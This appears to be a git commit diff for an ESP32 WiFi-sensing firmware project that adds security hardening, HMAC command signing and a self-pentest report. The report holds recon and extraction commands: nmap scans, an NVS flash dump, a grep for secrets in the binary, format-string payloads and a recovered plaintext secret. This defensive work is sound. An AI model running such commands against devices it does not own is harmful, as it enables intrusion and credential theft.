- PROBE_DATA format: `PROBE_DATA,<hostname>,<mac>,<rssi>,<ssid>` - PROBE_DATA format: `PROBE_DATA,<hostname>,<mac>,<rssi>,<ssid>`
- Probe requests deduped per MAC (default 10s cooldown, tunable via PROBERATE) - Probe requests deduped per MAC (default 10s cooldown, tunable via PROBERATE)
- mDNS service: `_esp-csi._udp` on data port (for sensor discovery) - mDNS service: `_esp-csi._udp` on data port (for sensor discovery)

45
TODO.md
View File

@@ -1,28 +1,49 @@
# ESP32 Hacking TODO # ESP32 Hacking TODO
## Firmware ## Firmware
- [ ] On-device CSI processing (send metrics, not raw)
### Security (from pentest findings)
- [x] Enable `CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y` (stack canaries)
- [x] Enable `CONFIG_HEAP_POISONING_LIGHT=y` (heap corruption detection)
- [x] Enable `CONFIG_ESP_TASK_WDT_PANIC=y` (WDT auto-recovery)
- [x] Remove unused `#include "esp_now.h"` from app_main.c
- [x] Remove hardcoded default IP `192.168.129.11` from binary
- [ ] Flash encryption planning (irreversible eFuse burn)
- [ ] Secure Boot V2 planning (irreversible eFuse burn)
- [ ] DTLS for UDP command channel (stretch goal)
- [x] OTA TLS certificate verification (ESP-IDF CA bundle)
- [ ] NVS encryption for auth_secret at rest
### Features
- [ ] Multi-target (send UDP data to 2+ destinations simultaneously)
- [ ] Deep sleep mode with wake-on-CSI-motion - [ ] Deep sleep mode with wake-on-CSI-motion
- [ ] Battery-optimized duty cycling - [ ] Battery-optimized duty cycling
- [ ] AP+STA config portal (captive portal for initial setup)
## Tools (esp-ctl) ### Testing
- [ ] Multi-sensor BLE correlation (zone tracking by source sensor) - [ ] Tune presence threshold per room with real-world testing
- [ ] Power consumption measurements (per-mode: idle, CSI, BLE, probe)
## Testing
- [ ] Benchmark: CSI callback latency - [ ] Benchmark: CSI callback latency
- [ ] Benchmark: UDP throughput at different rates - [ ] Benchmark: UDP throughput at different rates
- [ ] Power consumption measurements (per-mode: idle, CSI, BLE, probe)
## Documentation ### Documentation
- [ ] Document esp-crab dual-antenna capabilities
- [ ] Document esp-radar console features
- [ ] Pin mapping for ESP32-DevKitC V1 - [ ] Pin mapping for ESP32-DevKitC V1
- [ ] Compare CSI quality: passive (router) vs active (ESP-NOW) - [ ] Compare CSI quality: passive (router) vs active (ESP-NOW)
- [ ] Multi-sensor deployment guide (placement, zones, triangulation) - [ ] Multi-sensor deployment guide (placement, zones, triangulation)
## Tools (esp-ctl)
- [ ] Migrate OSINT database to Flask API (esp-ctl becomes thin client)
- [ ] `esp-ctl api` subcommand (query Flask API)
## Ideas ## Ideas
- ESP-NOW mesh for direct ESP32-to-ESP32 CSI - ESP-NOW mesh for direct ESP32-to-ESP32 CSI
- External PIR sensor for CSI ground truth validation - External PIR sensor for CSI ground truth validation
- AP+STA config portal (captive portal for initial setup) - RSSI triangulation with 3+ sensors (approximate device location)
- Multi-channel scanning (hop across WiFi channels) - Home Assistant MQTT discovery integration
- RSSI triangulation with 3 sensors (approximate device location) - Grafana dashboards for long-term analytics
- BLE device fingerprinting (identify phone models by advertisement patterns) - ML-based device classification (phone vs laptop vs IoT)
- Historical presence logging (who was here, when, how long) - Webhook callbacks for alerts (Slack, Discord, ntfy)

View File

@@ -52,7 +52,6 @@ esp-cmd <host> CSIMODE COMPACT # Features only (~200 B/pkt)
esp-cmd <host> CSIMODE HYBRID 10 # Compact + raw every Nth packet esp-cmd <host> CSIMODE HYBRID 10 # Compact + raw every Nth packet
esp-cmd <host> AUTH # Query auth status (on/off) esp-cmd <host> AUTH # Query auth status (on/off)
esp-cmd <host> AUTH mysecret123 # Enable HMAC auth (8-64 char secret) esp-cmd <host> AUTH mysecret123 # Enable HMAC auth (8-64 char secret)
esp-cmd <host> AUTH OFF # Disable auth
esp-cmd <host> FLOODTHRESH # Query deauth flood threshold (5/10s) esp-cmd <host> FLOODTHRESH # Query deauth flood threshold (5/10s)
esp-cmd <host> FLOODTHRESH 10 30 # Set: 10 deauths in 30s = flood esp-cmd <host> FLOODTHRESH 10 30 # Set: 10 deauths in 30s = flood
esp-cmd <host> CALIBRATE # Start baseline capture (default 10s, room must be empty) esp-cmd <host> CALIBRATE # Start baseline capture (default 10s, room must be empty)
@@ -184,12 +183,20 @@ esp-cmd amber-maple.local PRESENCE THRESHOLD 0.08 # Higher = less sensitive
### LED States ### LED States
| LED | Meaning | Default mode is **quiet** (LED off unless noteworthy). Use `LED AUTO` for constant blink.
|-----|---------|
| LED (quiet mode) | Meaning |
|-------------------|---------|
| Off | Normal operation |
| Solid | Motion or presence detected |
| Double blink | OTA in progress |
| Solid (5s) | IDENTIFY command active |
| LED (auto mode) | Meaning |
|------------------|---------|
| Off | Not connected to WiFi | | Off | Not connected to WiFi |
| Slow blink (1 Hz) | Connected, no CSI activity | | Slow blink (1 Hz) | Connected, no CSI activity |
| Fast blink (5 Hz) | CSI data flowing | | Fast blink (5 Hz) | CSI data flowing |
| Solid (5s) | IDENTIFY command active |
| Double blink | OTA in progress | | Double blink | OTA in progress |
## Sensor Discovery ## Sensor Discovery
@@ -201,12 +208,12 @@ esp-ctl status --discover # Status using discovered fleet
esp-ctl target --discover # Query targets via discovery esp-ctl target --discover # Query targets via discovery
``` ```
Requires firmware with `_esp-csi._udp` mDNS service (v1.1+). Sensors register their hostname via mDNS on boot.
## HMAC Command Authentication ## HMAC Command Authentication
```bash ```bash
# Set auth secret on device # Set auth secret on device (requires existing auth or serial access)
esp-ctl cmd amber-maple.local "AUTH mysecretkey123" esp-ctl cmd amber-maple.local "AUTH mysecretkey123"
# Set env var so all tools sign commands automatically # Set env var so all tools sign commands automatically
@@ -214,11 +221,36 @@ export ESP_CMD_SECRET="mysecretkey123" # add to ~/.bashrc.secrets
# All esp-cmd/esp-ctl/esp-fleet/esp-ota commands auto-sign when ESP_CMD_SECRET is set # All esp-cmd/esp-ctl/esp-fleet/esp-ota commands auto-sign when ESP_CMD_SECRET is set
# Unsigned commands are rejected with "ERR AUTH required" # Unsigned commands are rejected with "ERR AUTH required"
esp-ctl cmd amber-maple.local "AUTH OFF" # Disable auth
``` ```
Protocol: `HMAC:<16hex>:<cmd>` — first 16 hex chars of HMAC-SHA256(secret, cmd). Protocol: `HMAC:<32hex>:<uptime_s>:<cmd>` — first 32 hex chars of HMAC-SHA256(secret, `<uptime_s>:<cmd>`).
Replay window: +/-5s from device uptime.
### Serial Console (physical access)
Connect via USB serial (921600 baud) for auth management without network auth:
```bash
# Connect to serial console
idf.py -p /dev/ttyUSB0 monitor # or: screen /dev/ttyUSB0 921600
# Serial commands (type directly):
AUTH # Show full secret (unredacted)
AUTH <secret> # Set new secret (8-64 chars)
AUTH OFF # Clear secret (disable auth)
STATUS # Basic device info
HELP # List serial commands
```
### Provisioning Tool
```bash
esp-provision # Auto-generate secret, set via serial
esp-provision mysecretkey123 # Set specific secret via serial
esp-provision --serial # Set via serial console (device running)
esp-provision --generate-only # Just print a random secret
esp-provision -p /dev/ttyACM0 # Use different serial port
```
## OUI Vendor Lookup ## OUI Vendor Lookup
@@ -305,34 +337,36 @@ only generated on ESP32-C6 and newer chips.
## STATUS Fields ## STATUS Fields
| Field | Example | Description | Unauthenticated STATUS returns a minimal subset. Full fields require HMAC auth.
|-------|---------|-------------|
| uptime | 1h23m | Human-readable uptime | | Field | Example | Auth | Description |
| uptime_s | 4980 | Raw uptime in seconds | |-------|---------|------|-------------|
| heap | 108744 | Free heap bytes | | hostname | amber-maple | no | Device hostname |
| rssi | -67 | Current AP RSSI (dBm) | | uptime | 1h23m | no | Human-readable uptime |
| channel | 11 | WiFi channel | | uptime_s | 4980 | no | Raw uptime in seconds |
| tx_power | 10 | TX power (dBm) | | rssi | -67 | no | Current AP RSSI (dBm) |
| rate | 100 | Target CSI rate (Hz) | | channel | 11 | no | WiFi channel |
| csi_rate | 97 | Actual CSI rate (Hz, computed) | | version | 27aeddb | no | Firmware git commit |
| hostname | amber-maple | Device hostname | | motion | 0/1 | no | Motion detected |
| version | 27aeddb | Firmware git commit | | presence | on/off | no | Presence detection |
| adaptive | on/off | Adaptive sampling | | heap | 108744 | yes | Free heap bytes |
| motion | 0/1 | Motion detected | | tx_power | 10 | yes | TX power (dBm) |
| ble | on/off | BLE scanning | | rate | 100 | yes | Target CSI rate (Hz) |
| target | 192.168.129.11:5500 | UDP destination | | csi_rate | 97 | yes | Actual CSI rate (Hz, computed) |
| temp | 0.0 | Chip temperature (ESP32-S2/C3/C6 only) | | adaptive | on/off | yes | Adaptive sampling |
| csi_count | 30002 | Total CSI frames since boot | | ble | on/off | yes | BLE scanning |
| boots | 3 | Boot count (NVS persisted) | | target | 192.168.129.11:5500 | yes | UDP destination |
| rssi_min | -71 | Lowest RSSI since boot | | temp | 0.0 | yes | Chip temperature (ESP32-S2/C3/C6 only) |
| rssi_max | -62 | Highest RSSI since boot | | csi_count | 30002 | yes | Total CSI frames since boot |
| csi_mode | raw/compact/hybrid | CSI output mode | | boots | 3 | yes | Boot count (NVS persisted) |
| hybrid_n | 10 | Raw packet interval (hybrid mode) | | rssi_min | -71 | yes | Lowest RSSI since boot |
| auth | on/off | HMAC command authentication | | rssi_max | -62 | yes | Highest RSSI since boot |
| flood_thresh | 5/10 | Deauth flood: count/window_seconds | | csi_mode | raw/compact/hybrid | yes | CSI output mode |
| powersave | on/off | WiFi modem sleep | | hybrid_n | 10 | yes | Raw packet interval (hybrid mode) |
| presence | on/off | Presence detection | | auth | on/off | yes | HMAC command authentication |
| pr_score | 0.0432 | Current presence score (0 = no change from baseline) | | flood_thresh | 5/10 | yes | Deauth flood: count/window_seconds |
| powersave | on/off | yes | WiFi modem sleep |
| pr_score | 0.0432 | yes | Current presence score |
## PROFILE Sections ## PROFILE Sections
@@ -370,3 +404,24 @@ ls /dev/ttyUSB* /dev/ttyACM* # Find connected devices
dmesg | tail # Check USB detection dmesg | tail # Check USB detection
sudo usermod -aG dialout $USER # Fix permissions (re-login) sudo usermod -aG dialout $USER # Fix permissions (re-login)
``` ```
## Security Testing
```bash
# eFuse status (read-only, safe)
source ~/esp/esp-idf/export.sh && espefuse.py -p /dev/ttyUSB0 summary
# NVS dump (read-only)
esptool.py -p /dev/ttyUSB0 -b 921600 read_flash 0x9000 0x4000 /tmp/nvs_dump.bin
# Port scan
sudo nmap -sU -p 5500,5501,5353 --open <sensor-ip>
sudo nmap -sT -p 1-1000 <sensor-ip>
# Firmware binary analysis
binwalk build/csi_recv_router.bin
strings -n 6 build/csi_recv_router.bin | grep -iE 'password|secret|key'
```
Full pentest guide: `docs/PENTEST.md`
Pentest results: `docs/PENTEST-RESULTS.md`

132
docs/PENTEST-RESULTS.md Normal file
View File

@@ -0,0 +1,132 @@
# Pentest Results — ESP32 CSI Sensor Firmware
**Date:** 2026-02-14
**Target:** amber-maple (192.168.129.30), ESP32-D0WD-V3 rev 3.1
**Firmware:** v1.11.0-11-ga4bd2a6-dirty (v1.12-dev security hardening)
**ESP-IDF:** v5.5.2
**Tester:** Raspberry Pi 5 (192.168.129.11), same LAN
---
## Results Matrix
### Phase 1: Passive Reconnaissance
| # | Test | Status | Notes |
|---|------|--------|-------|
| 1a | mDNS service discovery | **PASS** | No `_esp-csi._udp` service advertised. Only hostname.local resolves. |
| 1b | Port scan (UDP) | **PASS** | Only 5353/udp (mDNS) and 5501/udp (cmd) open. 5500/udp closed (outbound-only). |
| 1b | Port scan (TCP) | **PASS** | All 1000 TCP ports closed. Zero TCP attack surface. |
| 1c | Firmware strings | **PASS** | No hardcoded secrets, passwords, or embedded private keys. |
| 1c | Firmware strings | **WARN** | Hardcoded default IP `192.168.129.11` and hostname `amber-maple` in binary. |
| 1c | Entropy analysis | **INFO** | Firmware not flash-encrypted (low entropy). Expected for dev boards. |
| 1c | PEM markers | **INFO** | mbedTLS parser constants only, not actual embedded keys. |
| 1d | eFuse: JTAG | **WARN** | `JTAG_DISABLE = False` — JTAG debug accessible via GPIO 12-15. |
| 1d | eFuse: Secure Boot | **WARN** | `ABS_DONE_0 = False`, `ABS_DONE_1 = False` — no secure boot. |
| 1d | eFuse: Flash Encryption | **WARN** | `FLASH_CRYPT_CNT = 0` — flash encryption disabled. |
| 1d | eFuse: Download Mode | **WARN** | `DISABLE_DL_ENCRYPT/DECRYPT/CACHE = False` — UART download mode open. |
| 1d | eFuse: Coding Scheme | **INFO** | `CODING_SCHEME = NONE` — full 256-bit key space available. |
### Phase 2: Network Protocol Analysis
| # | Test | Status | Notes |
|---|------|--------|-------|
| 2a | Unauth STATUS info leak | **PASS** | Minimal response (hostname, uptime, rssi, channel, version). No secrets. |
| 2a | CONFIG info disclosure | **PASS** | Auth secret not exposed in unauthed CONFIG response. |
| 2a | HMAC on wire | **INFO** | HMAC tags visible in plaintext UDP (expected — no DTLS). |
| 2a | HELP disclosure | **INFO** | Command list visible without auth (by design). |
| 2b | HMAC timing oracle | **PASS** | Median diff 144us between test cases — within WiFi jitter. Constant-time comparison effective. |
| 2c | Null byte injection | **PASS** | All 17 unauthed injection payloads handled safely. |
| 2c | Format string injection | **PASS** | `%x%x%n` payloads rejected; no stack leak. |
| 2c | Newline/CRLF injection | **PASS** | Rejected by auth requirement. |
| 2c | Oversized packets | **PASS** | MTU-sized and 191-byte packets rejected gracefully. |
| 2c | Binary garbage | **PASS** | Random byte payloads handled without crash. |
| 2c | HOSTNAME format string | **PASS** | Authed: format strings rejected (timeout, likely sanitized). |
| 2c | HOSTNAME oversized | **PASS** | `ERR HOSTNAME length 1-31` — proper validation. |
| 2c | HOSTNAME bad chars | **PASS** | `ERR HOSTNAME chars: a-z 0-9 -` — strict allowlist. |
| 2c | TARGET format string | **PASS** | `ERR TARGET invalid IP` — proper validation. |
| 2c | RATE boundary values | **PASS** | All out-of-range values rejected: `ERR RATE range 10-100`. |
| 2d | Valid HMAC command | **PASS** | Authed STATUS returns full response. |
| 2d | Immediate replay | **PASS** | `ERR AUTH replay rejected` — nonce dedup works. |
| 2d | Expired timestamp (-10s) | **PASS** | `ERR AUTH expired (drift=10s)` — window enforced. |
| 2d | Future timestamp (+10s) | **PASS** | `ERR AUTH expired (drift=-10s)` — window enforced. |
| 2d | Wrong secret | **PASS** | `ERR AUTH failed` — incorrect HMAC rejected. |
| 2d | Nonce cache overflow (9 cmds) | **PASS** | Replay still rejected after flooding cache with 9 unique commands. |
### Phase 3: Static Analysis
| # | Test | Status | Notes |
|---|------|--------|-------|
| 3a | NVS auth_secret storage | **FAIL** | Stored as plaintext string: `86bd963b07858d5b10db839d55b409df` at offset 0x1ba8. |
| 3a | NVS WiFi credentials | **PASS** | No WiFi SSID/password found in NVS dump (compiled-in via sdkconfig). |
| 3a | NVS integrity | **WARN** | 2 of 6 pages have invalid CRC (uninitialized, not corruption). |
| 3a | Boot history | **INFO** | `boot_count = 25` visible — leaks reboot frequency. |
| 3b | CVE exposure (12 checked) | **PASS** | 8 CVEs not applicable (unused components). 4 LOW risk (BLE scan-only mitigates). |
| 3b | CVE-2025-27840 (HCI cmds) | **LOW** | Hidden HCI commands; mitigated by scan-only BLE mode. |
| 3b | Unused `#include "esp_now.h"` | **INFO** | Dead include — remove to avoid link to CVE-2025-52471. |
| 3c | Stack canaries | **FAIL** | `CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y` — no stack overflow protection. |
| 3c | Heap poisoning | **WARN** | `CONFIG_HEAP_POISONING_DISABLED=y` — no heap corruption detection. |
| 3c | PMF configuration | **PASS** | `CONFIG_ESP_WIFI_PMF_REQUIRED=y` — 802.11w enforced. |
| 3c | Debug symbols in ELF | **INFO** | ELF has full debug info (11.9 MB). `.bin` for OTA is stripped. |
| 3c | cmd_task size | **INFO** | 9,877 bytes compiled — large function handling untrusted input. |
| 3c | Watchdog | **PASS** | Bootloader, interrupt, and task WDTs all enabled. |
---
## Risk Assessment
### Critical (requires physical access)
| Risk | Impact | Mitigation |
|------|--------|------------|
| No flash encryption | Auth secret + WiFi creds readable from flash | Enable `CONFIG_FLASH_ENCRYPTION_ENABLED` (irreversible eFuse) |
| No secure boot | Arbitrary firmware flashable via UART/OTA | Enable Secure Boot V2 (irreversible eFuse) |
| JTAG enabled | Live memory inspection, breakpoints | Burn `JTAG_DISABLE` eFuse (irreversible) |
| NVS plaintext | `auth_secret` in cleartext NVS | Flash encryption covers this |
### Medium (network-accessible)
| Risk | Impact | Mitigation |
|------|--------|------------|
| No DTLS | HMAC tokens visible to LAN sniffers | Implement DTLS for command channel |
| No stack canaries | Buffer overflow in cmd_task could be exploitable | Enable `CONFIG_COMPILER_STACK_CHECK_MODE_NORM` |
| OTA over HTTP | MITM firmware injection on LAN | Embed CA cert, enforce HTTPS OTA |
### Low / Informational
| Risk | Impact | Mitigation |
|------|--------|------------|
| Hardcoded default IP | Network topology leak in binary | Move to Kconfig or NVS-only default |
| Version string leaks git hash | Aids targeted attacks | Use clean tag-only version strings |
| HELP visible without auth | Command enumeration | By design — acceptable |
| Uptime in unauthed STATUS | Aids HMAC timestamp prediction | Already in minimal STATUS by design |
---
## Security Hardening Scorecard
| Category | Score | Notes |
|----------|-------|-------|
| **Authentication** | 9/10 | HMAC-SHA256, replay protection, nonce cache, rate limiting. Only gap: no mutual auth. |
| **Input Validation** | 10/10 | All 27 injection tests passed. Strict allowlists on HOSTNAME, RATE, TARGET, POWER. |
| **Network Exposure** | 8/10 | Minimal ports, PMF required, service ads removed. Gap: plaintext UDP. |
| **Physical Security** | 2/10 | No secure boot, no flash encryption, JTAG open, UART download mode open. |
| **Binary Security** | 4/10 | No stack canaries, no heap poisoning. WDTs present. |
| **CVE Exposure** | 9/10 | Minimal attack surface; unused components disabled; v5.5.2 patches applied. |
**Overall: Strong network security, weak physical security.**
The firmware is well-hardened against remote/network attacks. Physical access remains the primary threat vector.
---
## Recommendations (Priority Order)
1. **P1** — Enable stack canaries: `CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y`
2. **P1** — Enable heap poisoning: `CONFIG_HEAP_POISONING_LIGHT=y`
3. **P2** — Enable WDT panic: `CONFIG_ESP_TASK_WDT_PANIC=y`
4. **P2** — Remove unused `#include "esp_now.h"`
5. **P2** — Remove hardcoded default IP from binary
6. **P3** — Flash encryption (requires eFuse planning)
7. **P3** — Secure Boot V2 (requires eFuse planning)
8. **P3** — DTLS for command channel (significant effort)
9. **P3** — OTA certificate pinning

1578
docs/PENTEST.md Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -2,9 +2,10 @@ menu "CSI UDP Configuration"
config CSI_UDP_TARGET_IP config CSI_UDP_TARGET_IP
string "UDP target IP address" string "UDP target IP address"
default "192.168.129.11" default "0.0.0.0"
help help
IP address of the host receiving CSI data (e.g., Raspberry Pi). IP address of the host receiving CSI data (e.g., Raspberry Pi).
Set to 0.0.0.0 to disable sending until configured via TARGET command.
config CSI_UDP_TARGET_PORT config CSI_UDP_TARGET_PORT
int "UDP target port" int "UDP target port"

File diff suppressed because it is too large Load Diff

View File

@@ -14,6 +14,7 @@ CONFIG_ESP_CONSOLE_UART_NUM=0
CONFIG_CONSOLE_UART_BAUDRATE=921600 CONFIG_CONSOLE_UART_BAUDRATE=921600
CONFIG_ESP_TASK_WDT_TIMEOUT_S=30 CONFIG_ESP_TASK_WDT_TIMEOUT_S=30
CONFIG_ESP_TASK_WDT_PANIC=y
CONFIG_ESPTOOLPY_MONITOR_BAUD_921600B=y CONFIG_ESPTOOLPY_MONITOR_BAUD_921600B=y
CONFIG_ESPTOOLPY_MONITOR_BAUD=921600 CONFIG_ESPTOOLPY_MONITOR_BAUD=921600
@@ -27,9 +28,11 @@ CONFIG_ESP32_WIFI_AMPDU_TX_ENABLED=
CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED= CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED=
# #
# Compiler options # Compiler options (size optimization saves ~75 KB)
# #
CONFIG_COMPILER_OPTIMIZATION_PERF=y CONFIG_COMPILER_OPTIMIZATION_SIZE=y
CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y
CONFIG_HEAP_POISONING_LIGHT=y
# #
# FreeRTOS # FreeRTOS
@@ -66,6 +69,12 @@ CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv"
CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y
CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y
#
# TLS Certificate Bundle (CA root store for HTTPS OTA)
#
CONFIG_MBEDTLS_CERTIFICATE_BUNDLE=y
CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_FULL=y
# #
# BLE (NimBLE, scan-only, WiFi coexistence) # BLE (NimBLE, scan-only, WiFi coexistence)
# #
@@ -82,3 +91,14 @@ CONFIG_ESP_WIFI_IRAM_OPT=n
# #
CONFIG_PM_ENABLE=y CONFIG_PM_ENABLE=y
CONFIG_FREERTOS_USE_TICKLESS_IDLE=y CONFIG_FREERTOS_USE_TICKLESS_IDLE=y
#
# WiFi Authentication (reject open/WEP APs)
#
CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y
#
# Protected Management Frames (802.11w) — prevent deauth attacks
#
CONFIG_ESP_WIFI_PMF_ENABLED=y
CONFIG_ESP_WIFI_PMF_REQUIRED=y

View File

@@ -435,7 +435,7 @@ CONFIG_PARTITION_TABLE_MD5=y
# #
# CSI UDP Configuration # CSI UDP Configuration
# #
CONFIG_CSI_UDP_TARGET_IP="192.168.129.11" CONFIG_CSI_UDP_TARGET_IP="0.0.0.0"
CONFIG_CSI_UDP_TARGET_PORT=5500 CONFIG_CSI_UDP_TARGET_PORT=5500
CONFIG_CSI_CMD_PORT=5501 CONFIG_CSI_CMD_PORT=5501
CONFIG_CSI_HOSTNAME="your-hostname" CONFIG_CSI_HOSTNAME="your-hostname"

View File

@@ -3,8 +3,9 @@
import socket import socket
import sys import sys
import time
from esp_ctl.auth import sign_command from esp_ctl.auth import get_secret, sign_command
DEFAULT_PORT = 5501 DEFAULT_PORT = 5501
TIMEOUT = 2.0 TIMEOUT = 2.0
@@ -37,14 +38,35 @@ def resolve(host):
sys.exit(1) sys.exit(1)
def get_uptime(ip):
"""Query device uptime_s for HMAC timestamp (unauthenticated)."""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(TIMEOUT)
try:
sock.sendto(b"STATUS", (ip, DEFAULT_PORT))
data, _ = sock.recvfrom(1500)
for part in data.decode().split():
if part.startswith("uptime_s="):
return int(part.split("=", 1)[1])
except (socket.timeout, OSError, ValueError):
pass
finally:
sock.close()
return 0
def main(): def main():
if len(sys.argv) < 3 or sys.argv[1] in ("-h", "--help"): if len(sys.argv) < 3 or sys.argv[1] in ("-h", "--help"):
print(USAGE) print(USAGE)
sys.exit(0 if sys.argv[1:] and sys.argv[1] in ("-h", "--help") else 2) sys.exit(0 if sys.argv[1:] and sys.argv[1] in ("-h", "--help") else 2)
host = sys.argv[1] host = sys.argv[1]
cmd = sign_command(" ".join(sys.argv[2:]).strip())
ip = resolve(host) ip = resolve(host)
secret = get_secret()
uptime = get_uptime(ip) if secret else 0
if secret and uptime:
time.sleep(0.06) # avoid firmware rate limiter (50ms)
cmd = sign_command(" ".join(sys.argv[2:]).strip(), uptime, secret)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(TIMEOUT) sock.settimeout(TIMEOUT)

View File

@@ -10,7 +10,7 @@ import sys
import threading import threading
import time import time
from esp_ctl.auth import sign_command from esp_ctl.auth import get_secret, sign_command
DEFAULT_PORT = 5501 DEFAULT_PORT = 5501
DEFAULT_HTTP_PORT = 8070 DEFAULT_HTTP_PORT = 8070
@@ -53,15 +53,37 @@ Examples:
esp-fleet ota --parallel /path/to/firmware.bin""" esp-fleet ota --parallel /path/to/firmware.bin"""
def _get_uptime(ip, timeout=TIMEOUT):
"""Query device uptime_s for HMAC timestamp (unauthenticated)."""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
try:
sock.sendto(b"STATUS", (ip, DEFAULT_PORT))
data, _ = sock.recvfrom(1500)
for part in data.decode().split():
if part.startswith("uptime_s="):
return int(part.split("=", 1)[1])
except (socket.timeout, OSError, ValueError):
pass
finally:
sock.close()
return 0
def query(name, host, cmd): def query(name, host, cmd):
"""Send command to one sensor, return (name, reply_or_error).""" """Send command to one sensor, return (name, reply_or_error)."""
cmd = sign_command(cmd)
try: try:
info = socket.getaddrinfo(host, DEFAULT_PORT, socket.AF_INET, socket.SOCK_DGRAM) info = socket.getaddrinfo(host, DEFAULT_PORT, socket.AF_INET, socket.SOCK_DGRAM)
ip = info[0][4][0] ip = info[0][4][0]
except socket.gaierror: except socket.gaierror:
return (name, f"ERR: cannot resolve {host}") return (name, f"ERR: cannot resolve {host}")
secret = get_secret()
uptime = _get_uptime(ip) if secret else 0
if secret and uptime:
time.sleep(0.06) # avoid firmware rate limiter (50ms)
cmd = sign_command(cmd, uptime, secret)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(TIMEOUT) sock.settimeout(TIMEOUT)
try: try:
@@ -87,7 +109,11 @@ def _resolve(host):
def _udp_cmd(ip, cmd, timeout=TIMEOUT): def _udp_cmd(ip, cmd, timeout=TIMEOUT):
"""Send signed UDP command and return reply string.""" """Send signed UDP command and return reply string."""
cmd = sign_command(cmd) secret = get_secret()
uptime = _get_uptime(ip, timeout) if secret else 0
if secret and uptime:
time.sleep(0.06) # avoid firmware rate limiter (50ms)
cmd = sign_command(cmd, uptime, secret)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout) sock.settimeout(timeout)
try: try:

View File

@@ -9,7 +9,7 @@ import sys
import threading import threading
import time import time
from esp_ctl.auth import sign_command from esp_ctl.auth import get_secret, sign_command
DEFAULT_CMD_PORT = 5501 DEFAULT_CMD_PORT = 5501
DEFAULT_HTTP_PORT = 8070 DEFAULT_HTTP_PORT = 8070
@@ -32,9 +32,44 @@ def resolve(host: str) -> str:
sys.exit(1) sys.exit(1)
_uptime_cache = {"ip": None, "value": 0, "time": 0}
def get_uptime(ip: str, timeout: float = TIMEOUT) -> int:
"""Query device uptime_s for HMAC timestamp (unauthenticated).
Caches result for 3s to avoid hitting the firmware rate limiter
when multiple udp_cmd calls happen in quick succession.
"""
now = time.monotonic()
if _uptime_cache["ip"] == ip and (now - _uptime_cache["time"]) < 3:
elapsed = int(now - _uptime_cache["time"])
return _uptime_cache["value"] + elapsed
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
try:
sock.sendto(b"STATUS", (ip, DEFAULT_CMD_PORT))
data, _ = sock.recvfrom(1500)
for part in data.decode().split():
if part.startswith("uptime_s="):
val = int(part.split("=", 1)[1])
_uptime_cache.update(ip=ip, value=val, time=now)
return val
except (socket.timeout, OSError, ValueError):
pass
finally:
sock.close()
return 0
def udp_cmd(ip: str, cmd: str, timeout: float = TIMEOUT) -> str: def udp_cmd(ip: str, cmd: str, timeout: float = TIMEOUT) -> str:
"""Send UDP command and return reply.""" """Send UDP command and return reply."""
cmd = sign_command(cmd) secret = get_secret()
uptime = get_uptime(ip, timeout) if secret else 0
if secret and uptime:
time.sleep(0.06) # avoid firmware rate limiter (50ms)
cmd = sign_command(cmd, uptime, secret)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout) sock.settimeout(timeout)
try: try:

138
tools/esp-provision Executable file
View File

@@ -0,0 +1,138 @@
#!/usr/bin/env python3
"""Provision auth secret to ESP32 CSI device NVS via USB serial."""
import argparse
import os
import secrets
import subprocess
import sys
import tempfile
NVS_GEN = os.path.expanduser(
"~/esp/esp-idf/components/nvs_flash/nvs_partition_generator/nvs_partition_gen.py"
)
NVS_NAMESPACE = "csi_config"
NVS_OFFSET = "0x9000"
NVS_SIZE = "0x4000"
DEFAULT_PORT = "/dev/ttyUSB0"
DEFAULT_BAUD = "460800"
def generate_secret() -> str:
"""Generate a 32-char hex secret."""
return secrets.token_hex(16)
def create_nvs_csv(secret: str, path: str) -> None:
"""Write NVS CSV with auth_secret entry."""
with open(path, "w") as f:
f.write("key,type,encoding,value\n")
f.write(f"{NVS_NAMESPACE},namespace,,\n")
f.write(f"auth_secret,data,string,{secret}\n")
def main():
parser = argparse.ArgumentParser(
description="Provision auth secret to ESP32 NVS partition"
)
parser.add_argument(
"secret", nargs="?", default=None,
help="Auth secret (8-64 chars). Auto-generated if omitted."
)
parser.add_argument(
"-p", "--port", default=DEFAULT_PORT,
help=f"USB serial port (default: {DEFAULT_PORT})"
)
parser.add_argument(
"-b", "--baud", default=DEFAULT_BAUD,
help=f"Flash baud rate (default: {DEFAULT_BAUD})"
)
parser.add_argument(
"--serial", action="store_true",
help="Set secret via serial console instead of NVS flash"
)
parser.add_argument(
"--generate-only", action="store_true",
help="Generate and print a secret without flashing"
)
args = parser.parse_args()
# Generate or validate secret
secret = args.secret or generate_secret()
if len(secret) < 8 or len(secret) > 64:
print("ERR: secret must be 8-64 characters", file=sys.stderr)
sys.exit(1)
if args.generate_only:
print(secret)
sys.exit(0)
if args.serial:
# Set secret via serial console (device must be running)
try:
import serial
except ImportError:
print("ERR: pyserial required (pip install pyserial)", file=sys.stderr)
sys.exit(1)
import time
s = serial.Serial(args.port, 921600, timeout=2)
s.reset_input_buffer()
